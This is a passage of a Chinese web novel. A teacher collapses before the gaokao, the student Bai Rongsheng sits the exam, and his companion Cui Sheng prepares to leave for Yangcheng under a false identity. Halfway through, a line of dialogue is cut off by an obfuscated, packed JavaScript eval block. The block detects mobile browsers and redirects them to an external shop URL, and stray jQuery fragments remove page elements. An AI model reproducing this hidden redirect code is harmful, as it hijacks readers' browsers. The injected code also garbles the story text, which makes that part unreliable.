“他需要一个忠心好用的下属。”崔盛平静地说,“等你高考完,我就要去南方帮他干活了,不知道什么时候能够回来。” 请一个离开江市的长假并不容易,不过这段时间丁晓东很愿意给崔盛甜头,方便后面再差使他。批假的时候,他问崔盛是不是去见女友,崔盛为了避免麻烦,选择默认。 丁晓东猜中什么一般满意地大笑:“我就知道!你有时候等电话心不在焉的样子,和我年轻时候谈女朋友一模一样!” 崔盛决定就这样让他保持误会,比解释他是回来找白容生要好。 白容生思索后,心里产生了不安的感觉:“他让你去南方做什么,是正经生意吗?如果还是叉子那样给你安排的事,你就别去,中间跑掉吧。去哪里不能活,要给他卖命?” “当然不是那种活了。”崔盛无奈道,“我知道轻重,不会再去碰那些事的。” 说着他顿了顿,因为白容生对于他那句“知道轻重”露出了明显的怀疑表情。 崔盛伸手捏了下他的脸,在白容生不可置信的眼神中若无其事继续说,“放心吧,我还要回来的。再说,丁晓东也老了,目前主要是想着让他女儿结婚抱孙子,不像年轻时候还敢碰一些产业,他是要赚干净钱的。” 这听起来倒更可信。 白容生捏着筷子,被崔盛催促快吃。他吃了一半,忽然又说:“我成年后,卡上有了钱,你需要的时候一定跟我说,我随时都能打给你。”边说,他边举手比了一个数字。 崔盛复杂地看他一眼:“白容生,你现在有钱了,不能再跟以前那样,有点警惕心。万一我想办法骗了你的钱再跑路怎么办?” “你不会的。” 崔盛:“我是说……” 白容生命令:“别再说了,吃饭。” 吃完饭后,崔盛又说:“你如果在江市不舒服,就去找我。” 白容生顿了顿:“我知道。” 他回去继续背书,中途崔盛进门给他放下一盘水果,催他早点睡觉。白容生背书的状态正好,不想被打断。 熬到将近十二点,崔盛不能忍受了,推门进来按下白容生的书。 白容生被他拖到床上,起初试图反抗,然而没过几分钟,就睡了过去。 崔盛坐在他床头,看着他慢慢睡熟,才起身关灯。 他有些不舍得离开卧室,尤其是考虑到他即将远行,和白容生单独的相处时间显得珍贵又奢侈。可是他同时无比清晰地认识到,即使这一刻再平和安稳,这里也不是属于他们的地方。 这里不是家。 63.第 63 章 “你同学来找你。”崔盛身上还围着昨天从楼下超市买来的围裙,小了一号,穿的时候显得有些滑稽。他敲开白容生的房门,往身后一指,露出李舜的脸。 李舜经过高三一年成功瘦下来了,就是个子依旧不高,看白容生得仰头。他脸上都是汗,一把抓住白容生的手。 白容生迷惑地被他抓着手上下摇晃,以为李舜出了什么事:“嗯?怎么了?我去给你倒杯水。” 李舜这才找回了语言能力:“不是、我不喝水!是老冯!” 白容生刚转过身,动作定住了,他猛地回头:“老冯?” 李舜:“我刚在校门口买笔,来了辆救护车,问……问了门卫,他说是老冯晕倒了,被带走抢救,还不清楚情况。” 他没带手机,但知道白容生住在哪,就直接跑过来了。 白容生脸色一变,几乎没有迟疑:“哪个医院?我去看看。” 李舜摇头,想了想又说:“你……你先别去,明天就考试了,老冯肯定也是希望你优先高考的。可能没那么严重,是我杞人忧天呢。” 他跟白容生不同,只有高一一年是冯少平做班主任。因此尽管担心和惊讶,但和白容生的想法不完全相同。 白容生却说:“我必须得去。”他拍了拍李舜的肩膀,“谢谢你过来跟我说。” 李舜无奈地“嗳”了声,“这么客气呢?我其实是想着考之前来蹭蹭你数学的运气,谁知道遇到这个事。不过老冯人好,应该没问题的。” 把他们的话听了全程的崔盛默不作声,关掉火换上衣服,对白容生说:“我下楼去打个车,你别急。” 学校门卫说,冯少平被送到了离这里最近的四院。他补充,是一个学生给冯少平连打几个电话没接通,往常冯少平半夜都是几秒之内接听,这次却十几分钟内都没回应。 那学生就给门卫打电话,请门卫去看看。恰好冯少平常年住校内的教师宿舍,和门卫很熟,门卫就去看了眼。 幸亏他去看了,发现冯少平晕倒在宿舍内,赶紧叫了救护车。 冯少平家里一时间没有能联系得上的亲属,学校去了年级主任以及两个和他关系不错的老师,正在抢救室外,和白容生前后脚到。 医生也很忙,匆匆和年级主任交代几句,就赶着去处理下一个病人。 白容生刚走近,发愁的教务主任就一眼看见他:“你来干什么?明天就高考了,去去,快回家。家长也真是的,带小孩来干什么?” 只是跟在后面都要被说的崔盛耸耸肩膀,装作没听到。 “医生说了CT结果,脑出血,需要手术。”年级主任正在跟校长打电话,“冯老师的情况比较特殊,这个手术签字……” 他和校长说了几句,挂断电话。白容生盯了会抢救室紧闭的门,转头说:“我可以出一部分医药费。” 冯少平当初给他的钱,他一直记着。他被白家认回后,几次提出还钱,冯少平都不同意,现在总是时候了。 主任当然不同意:“不用你出!快回家去。” 白容生不理,固执地找他要卡号。崔盛四处看了看,在医生经过的时候伸手拦住,询问冯少平的手术费用。 医生被他突然伸手吓了一跳,警惕地后退一步,见崔盛没恶意,快速地说:“费用这个说不好,因为也要看手术情况,先准备几万块吧。” 崔盛点头,走过来安抚地拍了拍白容生的肩膀,对主任说:“冯老师之前帮了我们很多,这个医药费我们出得起,老师你放心。而且不让他掏这个钱,明天考试他也不会安心的。” 他指了指白容生,年级主任倒是这才发现,这位“家长”还是个二十来岁的毛头小子,顿时更加无言。 等一会校长来了签字后就要开始手术,白容生看一时半会说服不了主任,转而准备去直接缴费。 崔盛却说:“我去交吧。” 白容生看他,崔盛解释,“本来就应该我负责你的生活费,结果还让老师给你钱,这笔钱该我交。” 他强行付了手术费,和白容生一起走出有些压抑的医院大楼。 走着走着,白容生说:“他是太累了。” 冯少平作为班主任无可指摘,再加上他全天在校,住宿生很多事都会找他,高三带重点班压力也大,身体出问题并不算太意外。 偏偏在高考之前遇上脑出血,哪怕是白容生都要疑问,一定是好人没好报吗? 崔盛回头看着他:“你不要愧疚,这是意外。” “我知道,我就是觉得不应该这样。”白容生沉默了一会,“我明天一定要考个好成绩。” 崔盛叹了口气。 回到家,吃完晚饭,崔盛就去准备明天的早饭。他在灶台前沉思时,家里转着圈背书的白容生走进厨房,娴熟地趴在他身后。 崔盛握住他的手,白容生恰好背完一篇古文,接上一句:“哥,你可千万不要突然生病啊。” “我身体好得很。”崔盛侧头,近距离下,白容生脸上十分白净,去年的伤口没有留疤。 他用还沾着冰凉水珠的手摸了摸白容生的脸,碰到垂下的睫毛。白容生被碰得眼睛痒,眨了一下,对着崔盛严肃地继续背书。 崔盛短暂地笑了笑,随即皱眉,收回手,“去背书吧。” 白容生在长串的文言文里忽然冒出一句:“你怎么开始介意和我有身体接触了?” 他很快地打断崔盛即将说出口的否认:“别骗我,哥,是我成年了,脸都不能摸了吗?” 明明一开始是崔盛主动和他又揽又抱,两人都在一张床上睡过那么多次,白容生实在搞不明白,怎么突然崔盛还要和他保持距离,克制着不做一些过于亲密的动作。 可那本来就是他们以前的日常,两人又是同性,完全没有避嫌的需要。 “你不是小孩了,当然和以前不一样。” 崔盛向来不长于辩论,他安静半天给出的解释听上去无比苍白。 “那我还是不是白容生?” 崔盛皱眉,不明白他这叫什么话。 “你还是不是我哥?” 崔盛这次回答:“一直都是。” 他说完想看白容生的回应,然而白容生一转身,背着书出去了。 崔盛摇摇头继续处理食材。手上的活结束后他拧开水龙头,哗哗的水声里,有些模糊的窗户玻璃映出他同样带着些许模糊的脸。 当他和白容生只有彼此的时候,似乎怎么亲密都是正常的。可现在不是从前,现在是…… 他止住思路,催促白容生晚上早点睡。 白容生被强制按回床上,他躺着注视漆黑的天花板,大脑里却无比清醒。 他止不住地回想着关于冯少平的事,为了压下去杂乱的思绪又开始默背,结果越背书越睡不着。 躺了很久,他无法再忍受下去,抓着身上的薄被坐起来,一转头看见卧室门开了条缝。 同样是睡不着,焦虑地起来看白容生睡得怎么样的崔盛,和白容生面面相觑。 门外微末的灯光照出崔盛的身形轮廓,白容生张开手,想也不想地说:“我睡不着。” 崔盛进来,带上门,握住他的手。 房间内再次陷入黑暗,静谧里传出细微的动静,崔盛摸到床边坐下,白容生的呼吸清晰可闻。 两人都感受到了来自另一个人身上的温度。 崔盛缓慢躺下的时候,白容生的手就搭到他身上。等他躺好,白容生一个翻身,差不多半个身体都压住他。 “睡不着也要睡。”崔盛低声说,“还有好几个小时,多少睡一会。” 白容生含糊地嗯了声,脸挨着他的肩膀。一缕头发挠着崔盛的脖子,他动了动手,想拨开时白容生的腿也搭上来了,完全是把崔盛当大型抱枕的抱法。 崔盛睁着眼睛无声叹气,搂住白容生的肩拍了拍。奇异的,躺在白容生身边好像有结界,这些天纠缠他的焦虑和担忧消失不见。 他不再想去南方会遇见什么,也不再想白容生的高考会怎么样。这短暂的一晚,他只是回想起过去两人一同度过的平常日子。 白容生靠着崔盛,睡意反而来得很快。他半睡半醒间忽然想起之前崔盛身上的伤,不知道有没有留疤,就伸手去摸。 他的手因为困倦动作缓慢地挪动着,伸进崔盛的衣领。 夏天晚上崔盛只穿了件简单的背心,很容易就被白容生摸上肩膀前后的皮肤。他抬手抓住:“干什么?” 白容生没说话,指腹触碰到一点凹凸不平的疤痕边缘。伤疤不长,断断续续地集中在那一块。 他手还往下伸,被崔盛抓了回去。 “睡了。”崔盛命令道,“明天考试。” 白容生睡到第二个闹钟响的时候才醒。他睡得很沉,但起床后身体格外轻松,吃完饭就和崔盛一起出门。 原本应该由冯少平给他们送考,临时换成隔壁班的物理老师。绝大部分人还不知道发生了什么,只听说冯少平生病,纷纷说等考完高考去看望他。 白容生没说话,接过准考证,听崔盛说:“开门了。” 悬挂着鲜红横幅的学校大门向两侧敞开,考生能带的东西很少,不少人进去前顺手将书仍在门口收书的箱子里。 这箱子基本上在考完后会被充当志愿者的高一高二学生分掉,毕竟里面大多是现成的笔记。 白容生将包交给崔盛,只拿着准考证、垫板和笔袋。崔盛拧开水瓶让他再喝点水,站在树荫下,回想起三年前他送白容生中考的六月。 他刚刚想起,白容生就说:“你别在外面等,回家去吧,考完了再来接我。” 他也想到中考时的事,这几天气温高,在室外待久了难免不会晒伤。 中考时是离得远,现在白容生就在本校考,崔盛当然不会在外面傻站着等。他只笑了笑说:“去吧。” * 这群学生基本上兴致高昂地走进考场,却被第一场语文就打得措手不及,考试结束后,整栋楼的气氛都是压抑的。 白容生沿着楼梯扶手下楼,脸色也有点沉。不过出校门之前,他调整好状态,在簇拥的家长中找到自己的送考老师。 “都出来了?别对答案,别管考得好不好了,回去休息,下午是全新的考试。” 物理老师边收准考证边说,显然她已经从前面最先出来的学生那得到消息,不过还是表情轻松,“高考都是一门难一门简单的,别害怕。” 几个班的老师学生大部分都互相认识,她看见白容生,压低嗓音问学校好学生的感受:“真的很难吗?” 白容生犹豫片刻,如实回答:“是挺难的,不过我经常阅读题看不懂,不知道难到什么地步。” 这话不假,就像是对于永远做不出数学最后一题的人来说,最后一题是否变难毫无影响。 他挤出人群,看见有的人甚至考完第一场就哭了,后知后觉,语文试卷不仅是改了题型、加了难度那么简单。 崔盛等在路边,看着白容生沉思地走过来,伸手试了试他额头的温度,递过去水:“困不困?” 白容生十分清醒,摇摇头。他文科薄弱,事先做好了心理准备,发现试卷变得陌生的时候也没有崩溃。 不过,语文竟然会这样大改,那么下午的数学呢? 他不由自主地握紧水瓶,转头发现崔盛一直盯着他。 “没事。”崔盛观察路过的其他学生推测出这场考试不太乐观,想来想去安慰道,“大不了跟我一起走,我能养着你,让你再考一次。” 白容生:“还没考完呢,就先祝我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387265|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复读吗?” 虽然这样说,他倒是笑了下,自言自语地补充,“没关系,不管怎么样,我好好考完就好了。” 尽管做好心理准备,下午拿到数学试卷的时候,白容生心里还是咯噔一下。 题型变了,最后一题更是极少见的新题型,思路和他们练习惯了的题目不同。他深吸口气,翻回前面开始写。 数学考完崩溃的人更多,白容生交了卷心里就有底了。他沉默着走下楼,忽然看见一队老师往楼上冲,据说是有考生考完想不开,叫着要在考场跳楼。 其实前两年就说高考需要改革,不过C市本来教育水平落后,且这两年高考试卷没有大的变动,因此没人当回事。 突然今年试卷真的加大难度,着实把学生老师打了个措手不及。 白容生很快就接受了现实,大概这件事总没有他突然得知自己身世时魔幻。他始终记得高考看的是排名不是分数,在别人惊慌的时候他能冷静,那么还是他会赢。 他带着这样的想法考完高考,第三天下午交完最后一张卷,看着窗外的夕阳,才发现放下笔的手在发抖。 这场的监考老师动作慢,等结束出门的时候,大部分人都离开了。校门口拥挤得要命,幸好白容生有先见之明,让崔盛留在家里等他。 他快走几步跳上路边的石阶,突然看见前面不远处,崔盛手背在身后,靠着树看他。 白容生走过去,崔盛才终于站直了,将一束花塞进他怀里:“恭喜,高中毕业了。” 送花不是崔盛的作风,他是看见许多家长来接孩子的时候都带着花,于是仿照着也买了一束。 白容生抱着花,难得的,那些负面的情绪、远在江市的白家,都被他遗忘。这一刻他所拥有的,只有纯粹的喜悦。 崔盛租了辆摩托,带白容生去吃饭。去的一家烤肉店,一桌不大,两个人可以拿着肉在炉子上慢慢得烤。 随着肉一起送来的还有两罐刚出冰箱的啤酒,白容生不喜欢啤酒的味道,不过今天为了庆祝,他和崔盛碰杯,喝了一大口。 冰凉的酒液让他略有亢奋的情绪跟着降温,白容生放下酒罐:“我明天要去看看老冯的情况。之后……” 话没说完,他的手机响了,是许静。 “容生?”许静那边似乎还有谈笑,伴着脚步声她走开几步,“哎呀,你看我都忘了问你,高考什么时候呢?” 白容生空出一只手仔细地夹着肉翻面,“我今天刚考完。” 许静“哎呀”一声,那边也跟着响起几句说笑,似乎是在说她电话打晚了。她忙说:“怪我怪我,这件大事也给忘了。以后就不用再去那里了,家里和江大那边打过招呼,你别担心。” 白容生脸上懒得做出表情,只有说话的语气是温和的。他早已清楚要怎么和许静相处,待许静在这场“天伦之乐”的表演中满足后,他才说:“奶奶,我想考完试后出去旅游。” 许静心情正好,一口答应:“当然可以啊,想去哪里玩都可以。不过出国的话需要护照……” “我不出国,”白容生顺手将肉夹给崔盛,想让崔盛先试试有没有熟,“我想去阳城。” 正对他夹过去的肉持怀疑态度仔细检查的崔盛立刻抬头,碍于白容生还没挂断,只皱着眉不出声。 等白容生放下手机,崔盛问:“阳城?” 白容生拉长声音回应,眼看着崔盛夹起肉放回烤盘:“没熟吗?” “嗯。”崔盛不关心肉了,追问他,“去阳城做什么?” 丁晓东给他安排的任务,地点就在阳城。 白容生没说话,往后靠着椅背,只看他的眼神,崔盛便明白他的意思。 可是跟他去做什么?人生地不熟,应该留在江市熟悉情况、进入白家的社交圈才对。 崔盛当然想和白容生一起,如果条件允许,他去哪里都会把白容生带着。不过现实生活中,人总要理智地考虑状况。 白容生一眼就看出他要说什么话来拒绝:“我就是要去阳城,你管不到我。” 崔盛:“你知道我去做什么吗?我得改名换姓,用一个全新的身份去阳城,投资一家快倒闭的工厂。只有做起来了,丁晓东才会承认我。简单地说,我是以外来人的身份去分那些人的饭,我不想牵扯到你。” 白容生夹起已经微焦的肉扔回他盘子里,总结:“丁晓东还是给你干脏活啊。” 崔盛淡淡道:“只有干脏活最能发挥我的作用,没办法。” “我知道了,不会给你添麻烦的。”白容生强硬表示,“过些天阳城见,我要等老冯的状况好了再走。” 丁晓东给安排的假身份是全方面的。阳城那样大,人口很多,崔盛打定主意不给白容生信息,这样白容生想找他都找不到。 一罐啤酒白容生不知不觉喝了一半,其余的都被崔盛处理。走出店门,白容生坚持认为不能酒驾,和崔盛推着车走回去,等到家已经是半夜。 崔盛洗完澡,擦着头发出来,白容生只穿着背心短裤,盘腿坐在床上,叫他睡觉。 他那股兴奋劲过了,正在犯困。崔盛不声不响过去,抓起毛巾给他擦头。 擦着擦着,白容生往前一扑,脸贴在他胸前。 稳定的心跳声贴着白容生耳朵,崔盛动作粗暴地把他头发擦成半干,然后说:“自己睡。” 白容生困得不想说话,伸手抱住崔盛的腰表达态度。 崔盛低头看他,可是无论如何也做不到伸手把他推开。 最后他甩手扔开毛巾,关了灯,顺从白容生的愿望躺下去。 卧室里空调温度调得低,白容生的手脚很快缠上来。崔盛把他调整了一下位置,温热的呼吸突然接近。 白容生的嘴唇在他脸上贴了贴,随后头趴下去,睡着了。